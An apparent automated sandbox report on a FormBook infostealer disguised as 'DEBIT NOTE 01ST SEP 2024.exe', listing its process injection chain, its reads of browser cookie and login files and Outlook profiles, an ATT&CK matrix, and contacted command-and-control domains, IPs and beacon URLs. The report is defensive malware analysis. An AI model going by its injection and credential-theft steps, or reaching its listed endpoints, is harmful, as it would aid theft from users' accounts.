            Source: C:\Windows\SysWOW64\TapiUnattend.exeThread APC queued: target process: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeJump to behavior
            Writes to foreign memory regions
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 309F008Jump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00436CD7 LogonUserW,0_2_00436CD7
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0040D590 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D590
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00434418
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0043333C __wcsicoll,mouse_event,__wcsicoll,mouse_event,0_2_0043333C
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe"Jump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeProcess created: C:\Windows\SysWOW64\TapiUnattend.exe "C:\Windows\SysWOW64\TapiUnattend.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00446124 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00446124
            Source: DEBIT NOTE 01ST SEP 2024.exe, WrtyZOtiIHMYio.exe, 00000005.00000002.3518475136.0000000000E60000.00000002.00000001.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000005.00000000.1992792457.0000000000E61000.00000002.00000001.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000000.2160635196.0000000000F41000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
            Source: WrtyZOtiIHMYio.exe, 00000005.00000002.3518475136.0000000000E60000.00000002.00000001.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000005.00000000.1992792457.0000000000E61000.00000002.00000001.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000000.2160635196.0000000000F41000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
            Source: WrtyZOtiIHMYio.exe, 00000005.00000002.3518475136.0000000000E60000.00000002.00000001.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000005.00000000.1992792457.0000000000E61000.00000002.00000001.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000000.2160635196.0000000000F41000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
            Source: WrtyZOtiIHMYio.exe, 00000005.00000002.3518475136.0000000000E60000.00000002.00000001.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000005.00000000.1992792457.0000000000E61000.00000002.00000001.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000000.2160635196.0000000000F41000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: }Program Manager
            Source: DEBIT NOTE 01ST SEP 2024.exeBinary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004720DB GetLocalTime,__swprintf,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,0_2_004720DB
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00472C3F GetUserNameW,0_2_00472C3F
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0041E364 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,0_2_0041E364
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,0_2_0040E500

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000006.00000002.3518667344.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2071101630.0000000003A90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2071483262.0000000006000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3518738076.0000000002B00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3518593623.00000000041E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.3520663575.0000000004BE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2070755438.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3517293511.0000000002690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\SysWOW64\TapiUnattend.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
            Source: DEBIT NOTE 01ST SEP 2024.exeBinary or memory string: WIN_XP
            Source: DEBIT NOTE 01ST SEP 2024.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 8, 1USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----&
            Source: DEBIT NOTE 01ST SEP 2024.exeBinary or memory string: WIN_XPe
            Source: DEBIT NOTE 01ST SEP 2024.exeBinary or memory string: WIN_VISTA
            Source: DEBIT NOTE 01ST SEP 2024.exeBinary or memory string: WIN_7
            Source: DEBIT NOTE 01ST SEP 2024.exeBinary or memory string: WIN_8

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000006.00000002.3518667344.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2071101630.0000000003A90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2071483262.0000000006000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3518738076.0000000002B00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3518593623.00000000041E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.3520663575.0000000004BE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2070755438.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3517293511.0000000002690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,0_2_004652BE
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_00476619
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_0046CEF3

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire Infrastructure2
            Valid Accounts            		2
            Native API            		1
            DLL Side-Loading            		1
            Exploitation for Privilege Escalation            		1
            Disable or Modify Tools            		1
            OS Credential Dumping            		2
            System Time Discovery            		Remote Services1
            Archive Collected Data            		4
            Ingress Tool Transfer            		Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault AccountsScheduled Task/Job2
            Valid Accounts            		1
            Abuse Elevation Control Mechanism            		1
            Deobfuscate/Decode Files or Information            		21
            Input Capture            		1
            Account Discovery            		Remote Desktop Protocol1
            Data from Local System            		1
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading            		1
            Abuse Elevation Control Mechanism            		Security Account Manager2
            File and Directory Discovery            		SMB/Windows Admin Shares1
            Email Collection            		4
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
            Valid Accounts            		3
            Obfuscated Files or Information            		NTDS16
            System Information Discovery            		Distributed Component Object Model21
            Input Capture            		4
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
            Access Token Manipulation            		1
            DLL Side-Loading            		LSA Secrets141
            Security Software Discovery            		SSH3
            Clipboard Data            		Fallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
            Process Injection            		2
            Valid Accounts            		Cached Domain Credentials2
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
            Virtualization/Sandbox Evasion            		DCSync3
            Process Discovery            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
            Access Token Manipulation            		Proc Filesystem11
            Application Window Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
            Process Injection            		/etc/passwd and /etc/shadow1
            System Owner/User Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1513858 Sample: DEBIT NOTE 01ST SEP 2024.exe Startdate: 19/09/2024 Architecture: WINDOWS Score: 100 28 www.whats-in-the-box.org 2->28 30 www.weatherbook.live 2->30 32 11 other IPs or domains 2->32 42 Malicious sample detected (through community Yara rule) 2->42 44 Multi AV Scanner detection for submitted file 2->44 46 Yara detected FormBook 2->46 48 3 other signatures 2->48 10 DEBIT NOTE 01ST SEP 2024.exe 1 2->10         started        signatures3 process4 signatures5 60 Writes to foreign memory regions 10->60 62 Maps a DLL or memory area into another process 10->62 13 svchost.exe 10->13         started        process6 signatures7 64 Maps a DLL or memory area into another process 13->64 16 WrtyZOtiIHMYio.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 TapiUnattend.exe 13 16->19         started        process10 signatures11 50 Tries to steal Mail credentials (via file / registry access) 19->50 52 Tries to harvest and steal browser information (history, passwords, etc) 19->52 54 Modifies the context of a thread in another process (thread injection) 19->54 56 3 other signatures 19->56 22 WrtyZOtiIHMYio.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 zhs.zohosites.com 136.143.186.12, 49759, 49760, 49761 ZOHO-ASUS United States 22->34 36 www.shanhaiguan.net 156.242.132.82, 49755, 49756, 49757 POWERLINE-AS-APPOWERLINEDATACENTERHK Seychelles 22->36 38 3 other IPs or domains 22->38 58 Found direct / indirect Syscall (likely to bypass EDR) 22->58 signatures14

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            DEBIT NOTE 01ST SEP 2024.exe55%ReversingLabsWin32.Worm.DorkBot
            DEBIT NOTE 01ST SEP 2024.exe100%Joe Sandbox ML

            Dropped Files

            ⊘No Antivirus matches

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://duckduckgo.com/chrome_newtab0%URL Reputationsafe
            https://duckduckgo.com/ac/?q=0%URL Reputationsafe
            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%URL Reputationsafe
            https://www.ecosia.org/newtab/0%URL Reputationsafe
            https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%URL Reputationsafe
            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%URL Reputationsafe
            https://www.zoho.com/sites/images/professionally-crafted-themes.png0%Avira URL Cloudsafe
            http://www.crowsecurity.cloud/jvjp/?GR=4b5MqvIelA8yeSWKDPRIdHesNV5XUrpBTJ6STZ7OqVlET0aP4dQGxyJ8Yal1yomp/rzgkCoCCWVuqR9lxGRqCv57Hh5Ivk5Sj0mDZDuer/ujvu4zkb6QZi8=&Xf=4Zt4tvDx0%Avira URL Cloudsafe
            http://www.weatherbook.live/4hiy/?Xf=4Zt4tvDx&GR=x7+2I8SGsUecCMiSjTFbl5lp6Hdc+2w1VtibsJt/MsyL3kCUaBIR7/SGJ6EjRkH0LM2kKQMRMq/OnwKr8gWiX4rGIBeWvoECrZmU86sauZftBWicToOcLZk=0%Avira URL Cloudsafe
            http://www.aaavvejibej.bond/lpl9/?Xf=4Zt4tvDx&GR=e8lWkFdpBI8fMqvrlwy/onG3BcZVz7zQmYaHg/xvgOUuLw6B3kGtYYWM8/CK9QzH2IDr1kJuLXtu8i/nZF8LLdKb2VMPvKTLf5QxvZUWo2Nd+FhaQzJMI4o=0%Avira URL Cloudsafe
            http://www.inspireplay.live/p8sm/?GR=gudxXcfIjfM6RSgjlHSXwEEWc2+zEXg0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjubt2jusNNuut2QLx2iafcYqdrxcPN6iJJGks=&Xf=4Zt4tvDx0%Avira URL Cloudsafe
            http://www.selftip.top/85su/0%Avira URL Cloudsafe
            http://www.crowsecurity.cloud/jvjp/0%Avira URL Cloudsafe
            http://www.inspireplay.live/p8sm/0%Avira URL Cloudsafe
            https://www.zoho.com/sites/?src=parkeddomain&dr=www.lanxuanz.tech0%Avira URL Cloudsafe
            http://www.lanxuanz.tech/ivo1/0%Avira URL Cloudsafe
            http://www.selftip.top0%Avira URL Cloudsafe
            https://contacts.zoho.com/static/file?t=org&ID=456089&fs=thumb0%Avira URL Cloudsafe
            http://www.selftip.top/85su/?GR=+3B6fjGs9Z40sbhWxh4Olw8ODpxTfKIF4isjbFYKdetJPWg+iKgIwujGEU5yKjzj4BkeFS8xvi4EjdbOtsLgFdPJH1ajNMdDlKenjZRhD3fwrVi0trMy8bo=&Xf=4Zt4tvDx0%Avira URL Cloudsafe
            http://www.whats-in-the-box.org/30jd/0%Avira URL Cloudsafe
            http://www.lanxuanz.tech/ivo1/?GR=fL7FGqwZgFyeKETJ58v2LpmodVM6vZtD0XO9xnYIy5nXxzuHXVLl0+u5SqQtPDeu0FT/+Cn/ojl8jT3mUhnhpKNreTIBn1GsPPCO7XuNhO+zSMbYdoB0rmQ=&Xf=4Zt4tvDx0%Avira URL Cloudsafe
            http://www.shanhaiguan.net/p2q3/0%Avira URL Cloudsafe
            http://www.weatherbook.live/4hiy/0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            crowsecurity.cloud
            		3.33.130.190
            		truefalse
              		unknown
              inspireplay.live
              		3.33.130.190
              		truefalse
                		unknown
                zhs.zohosites.com
                		136.143.186.12
                		truefalse
                  		unknown
                  www.aaavvejibej.bond
                  		172.67.181.150
                  		truefalse
                    		unknown
                    weatherbook.live
                    		3.33.130.190
                    		truefalse
                      		unknown
                      www.selftip.top
                      		199.192.21.169
                      		truefalse
                        		unknown
                        whats-in-the-box.org
                        		3.33.130.190
                        		truefalse
                          		unknown
                          www.shanhaiguan.net
                          		156.242.132.82
                          		truefalse
                            		unknown
                            www.inspireplay.live
                            		unknown
                            		unknowntrue
                              		unknown
                              www.weatherbook.live
                              		unknown
                              		unknowntrue
                                		unknown
                                www.crowsecurity.cloud
                                		unknown
                                		unknowntrue
                                  		unknown
                                  www.whats-in-the-box.org
                                  		unknown
                                  		unknowntrue
                                    		unknown
                                    www.lanxuanz.tech
                                    		unknown
                                    		unknowntrue
                                      		unknown

                                      Contacted URLs

                                      NameMaliciousAntivirus DetectionReputation
                                      http://www.crowsecurity.cloud/jvjp/false
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.inspireplay.live/p8sm/?GR=gudxXcfIjfM6RSgjlHSXwEEWc2+zEXg0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjubt2jusNNuut2QLx2iafcYqdrxcPN6iJJGks=&Xf=4Zt4tvDxfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.inspireplay.live/p8sm/false
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.weatherbook.live/4hiy/?Xf=4Zt4tvDx&GR=x7+2I8SGsUecCMiSjTFbl5lp6Hdc+2w1VtibsJt/MsyL3kCUaBIR7/SGJ6EjRkH0LM2kKQMRMq/OnwKr8gWiX4rGIBeWvoECrZmU86sauZftBWicToOcLZk=false
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.aaavvejibej.bond/lpl9/?Xf=4Zt4tvDx&GR=e8lWkFdpBI8fMqvrlwy/onG3BcZVz7zQmYaHg/xvgOUuLw6B3kGtYYWM8/CK9QzH2IDr1kJuLXtu8i/nZF8LLdKb2VMPvKTLf5QxvZUWo2Nd+FhaQzJMI4o=false
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.lanxuanz.tech/ivo1/false
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.selftip.top/85su/false
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.crowsecurity.cloud/jvjp/?GR=4b5MqvIelA8yeSWKDPRIdHesNV5XUrpBTJ6STZ7OqVlET0aP4dQGxyJ8Yal1yomp/rzgkCoCCWVuqR9lxGRqCv57Hh5Ivk5Sj0mDZDuer/ujvu4zkb6QZi8=&Xf=4Zt4tvDxfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.weatherbook.live/4hiy/false
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.selftip.top/85su/?GR=+3B6fjGs9Z40sbhWxh4Olw8ODpxTfKIF4isjbFYKdetJPWg+iKgIwujGEU5yKjzj4BkeFS8xvi4EjdbOtsLgFdPJH1ajNMdDlKenjZRhD3fwrVi0trMy8bo=&Xf=4Zt4tvDxfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.whats-in-the-box.org/30jd/false
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.lanxuanz.tech/ivo1/?GR=fL7FGqwZgFyeKETJ58v2LpmodVM6vZtD0XO9xnYIy5nXxzuHXVLl0+u5SqQtPDeu0FT/+Cn/ojl8jT3mUhnhpKNreTIBn1GsPPCO7XuNhO+zSMbYdoB0rmQ=&Xf=4Zt4tvDxfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.shanhaiguan.net/p2q3/false
                                      • Avira URL Cloud: safe
                                      		unknown

                                      URLs from Memory and Binaries

                                      NameSourceMaliciousAntivirus DetectionReputation
                                      https://duckduckgo.com/chrome_newtabTapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://duckduckgo.com/ac/?q=TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://www.zoho.com/sites/images/professionally-crafted-themes.pngTapiUnattend.exe, 00000006.00000002.3519849797.0000000004270000.00000004.10000000.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3519005063.0000000003500000.00000004.00000001.00040000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://www.ecosia.org/newtab/TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://www.zoho.com/sites/?src=parkeddomain&dr=www.lanxuanz.techTapiUnattend.exe, 00000006.00000002.3519849797.0000000004270000.00000004.10000000.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3519005063.0000000003500000.00000004.00000001.00040000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      https://ac.ecosia.org/autocomplete?q=TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchTapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.selftip.topWrtyZOtiIHMYio.exe, 00000007.00000002.3520663575.0000000004C49000.00000040.80000000.00040000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      https://contacts.zoho.com/static/file?t=org&ID=456089&fs=thumbTapiUnattend.exe, 00000006.00000002.3519849797.0000000004270000.00000004.10000000.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3519005063.0000000003500000.00000004.00000001.00040000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown

                                      World Map of Contacted IPs

                                      • No. of IPs < 25%
                                      • 25% < No. of IPs < 50%
                                      • 50% < No. of IPs < 75%
                                      • 75% < No. of IPs

                                      Public IPs

                                      IPDomainCountryFlagASNASN NameMalicious
                                      156.242.132.82
                                      		www.shanhaiguan.netSeychelles
                                      		132839POWERLINE-AS-APPOWERLINEDATACENTERHKfalse
                                      136.143.186.12
                                      		zhs.zohosites.comUnited States
                                      		2639ZOHO-ASUSfalse
                                      199.192.21.169
                                      		www.selftip.topUnited States
                                      		22612NAMECHEAP-NETUSfalse
